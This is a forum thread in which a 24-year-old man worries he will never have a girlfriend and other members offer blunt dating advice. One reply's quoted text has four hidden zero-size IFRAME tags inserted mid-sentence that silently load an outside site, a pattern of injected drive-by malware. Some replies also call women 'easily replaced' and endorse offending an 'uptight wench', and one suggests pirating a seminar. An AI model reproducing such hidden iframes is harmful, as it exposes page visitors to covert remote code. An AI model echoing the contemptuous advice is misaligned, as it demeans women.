destined for bacherlorhood-no date or gf

[joe45]

i'll tell u background info for me 24 yr old asian guy, during college i asked like 3 girls out in 2 yrs but not all in the same period -all spread out. not much yea. no luck with either of em. the first girl i actually really liked, and i thought she liked me-glances ,looks, and was quite responsive when i talked to her and asked her out and got NO. couple of days later i got smiles and smirks from girls and even some guys who were in my class, small colllege.

now i'm not in collge-workin this semester, all guys at work like maybe 3 girls out of 40 guys. i have tried online dating like www.plentyoffish.com-talking with a lot of girls most of em just plain out talk. one girl serbian girl told me she works at XXX mall told me to drop by one day and i might someday go out and meet up with her lets see what happens. she like 18 or 19. i thought POF would actually make finding a date or girl easier but -not really and not at all. its free so why not.

i'm gettin the feelin that if i don;t make changes fast i be like a 30 or even older guy without a gf. i turn 25 in dec and tell u the truth i never had a gf. i had freind which was a girl recently but never attrated to her -overweight and big. we hung out a couple of times and then lost contact. she was my first freind who was a girl at 24. i see a lot of couples in going to the malls-that are around my age or younger and i really feel left out-being single and all. just havin a girl to go out with is nice. i really feel i'm destined for bachelorhood. i use to think that gettin a gf was easy -hey jsut a girl who;s a freind right but back then i wasn't even interested in girls or dating as i get older i am right now. and its harder than u think it is, i got a feelin that as i get older most of the girls would be married or have bfs well most of the good ones will be taken by then. how will i even find a gf or even date. how many girls in their 20's would even want a inexperienced -never had gf kind of bf in their lives anyways.

i might go back to college to finish my program and from there i might ask 1 or 2 more girls out leets see what happens. i don;t go clubbin or bars-no friends to go with and i don;t really drink.

 

[tristan22]

You definitely need to make changes or your assumptions of the future might become a reality. I go out all of the time to bars/clubs by myself and i drink very little (alcohol) because i'm worried about getting a DUI.

Just like everything else; some people have good fortune fall into their laps and skate through life with little effort and hit homeruns everytime. While others, hit every pot hole in the road and struggle through life without ever catching a break.

The best thing you can do for yourself is to approach women and try to get dates. Don't worry about relationships; as your main objective should be getting comfortable around females.

Believe me, rejection hurts a lot less then regret. Just go out and have fun and don't take the dating game too serious!

 

[Bible_Belt]

When you do get a gf, remember that she is easily replaced once you learn the game. The temptation to go afc over the first serious gf will be tremendous. Don't do it. The rules of attraction work the same even when you are in a relationship.

Let me ask you this: how many women have you offended in searching for a gf? If you are not pissing off the occasional uptight wench, you are probably not being aggressive enough. And try to get numbers before you get dates. Never use the phrase, "Would you like to go out sometime?"

 

[dadmonson]

Originally posted by joe45
i'll tell u background info for me 24 yr old asian guy, during college i asked like 3 girls out in 2 yrs but not all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME> in the same period -all spread out. not much yea. no luck with either of em. the first girl i actually really liked, and i thought she liked me-glances ,looks, and was quite responsive when i talked to her and asked her out and got NO. couple of days later i got smiles and smirks from girls and even some guys who were in my class, small colllege.

now i'm not in collge-workin this semester, all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME> guys at work like maybe 3 girls out of 40 guys. i have tried online dating like www.plentyoffish.com-talking with a lot of girls most of em just plain out talk. one girl serbian girl told me she works at XXX mall told me to drop by one day and i might someday go out and meet up with her lets see what happens. she like 18 or 19. i thought POF would actually make finding a date or girl easier but -not really and not at all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME>. its free so why not.

i'm gettin the feelin that if i don;t make changes fast i be like a 30 or even older guy without a gf. i turn 25 in dec and tell u the truth i never had a gf. i had freind which was a girl recently but never attrated to her -overweight and big. we hung out a couple of times and then lost contact. she was my first freind who was a girl at 24. i see a lot of couples in going to the malls-that are around my age or younger and i really feel left out-being single and all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME>. just havin a girl to go out with is nice. i really feel i'm destined for bachelorhood. i use to think that gettin a gf was easy -hey jsut a girl who;s a freind right but back then i wasn't even interested in girls or dating as i get older i am right now. and its harder than u think it is, i got a feelin that as i get older most of the girls would be married or have bfs well most of the good ones will be taken by then. how will i even find a gf or even date. how many girls in their 20's would even want a inexperienced -never had gf kind of bf in their lives anyways.

i might go back to college to finish my program and from there i might ask 1 or 2 more girls out leets see what happens. i don;t go clubbin or bars-no friends to go with and i don;t really drink.

R u a virgin?

 

[Vince]

you sound like a woman in her 30s in a rush to get married. the first thing you have to do is relax man....get a grip.

 

[brenbaus]

Two things to tell you


1. Take a chill pill

2. Like the other guys said, get a g/f and learn the rules of attraction, then get a new g/f until you are satisfied with the girl you have

 

[I'm Joe Dirt]

There is your problem right there. "I might ask 1 or 2 more out then" What the hell kind of quota is that? Ask out any girl you find attractive, 1-2 per hour not per college, and you'll see results change.

If you have absolutley no skills or nothing at the very least play the numbers as mathematically speaking sooner or later you'll find one interested in going out with you.

I would highly recommend David DeAngelo's Advanced Dating Techniques video seminar to you as well. You sound like you need EVERYTHING in that seminar, from the attitude/mindset, to understanding how attraction works, to approaching and talking to women. You can probably get it from file sharing, or if you wanna be a good Netizen, go to www.doubleyourdating.com and get it.

AT THE VERY LEAST GET THE DOUBLE YOUR DATING eBOOK.

 

[spider_007]

So you can't get laid. WHO GIVES A SH1T!!!!!!!! MOVE ON WITH YOUR LIFE. There are so many wonderfull things in life that you could be enjoing instead of worrying about getting laid. This may be news to ya, but; YOUR NOT THE FIRST, OR THE LAST MAN WHO ISN'T GONA GET LAID IN HIS LIFETIME. GET OVER IT. Life is great even with out woman. DON'T LET YOUR LIFE REVOLVE AROUND IT. GET A CARRIER, A HOBY, MAYBE FRIENDS, GO TRAVEL AND SEE THE WORLD, GO SKY DIVING, GET A PILOTS LISENCE, GET RICH.......................IT'S NOT ALL ABOUT GETTING LAID. QUIT WINING AND LIVE YOUR LIFE.




OH AND ALSO



I'm willing to bet money that you LOVE toruring yourself. You LOVE feeling sorry for your self. You love that; "The whole world is against me, and i'll never be like them" feeling. It's more comforatable then acceping you as you are, and moving on with your life with confidence.........

You need to quit that, it's very dangerous

 

[knglerxt]

Originally posted by spider_007
So you can't get laid. WHO GIVES A SH1T!!!!!!!! MOVE ON WITH YOUR LIFE. There are so many wonderfull things in life that you could be enjoing instead of worrying about getting laid. This may be news to ya, but; YOUR NOT THE FIRST, OR THE LAST MAN WHO ISN'T GONA GET LAID IN HIS LIFETIME. GET OVER IT. Life is great even with out woman. DON'T LET YOUR LIFE REVOLVE AROUND IT. GET A CARRIER, A HOBY, MAYBE FRIENDS, GO TRAVEL AND SEE THE WORLD, GO SKY DIVING, GET A PILOTS LISENCE, GET RICH.......................IT'S NOT ALL ABOUT GETTING LAID. QUIT WINING AND LIVE YOUR LIFE.




OH AND ALSO



I'm willing to bet money that you LOVE toruring yourself. You LOVE feeling sorry for your self. You love that; "The whole world is against me, and i'll never be like them" feeling. It's more comforatable then acceping you as you are, and moving on with your life with confidence.........

You need to quit that, it's very dangerous

I'm pretty sure the guy will get laid in his lifetime. He's only 24. How could you not worry about that when you see every one else around you getting laid? After a while, it's going to get to you. I'm 24 and in the same situation he's in.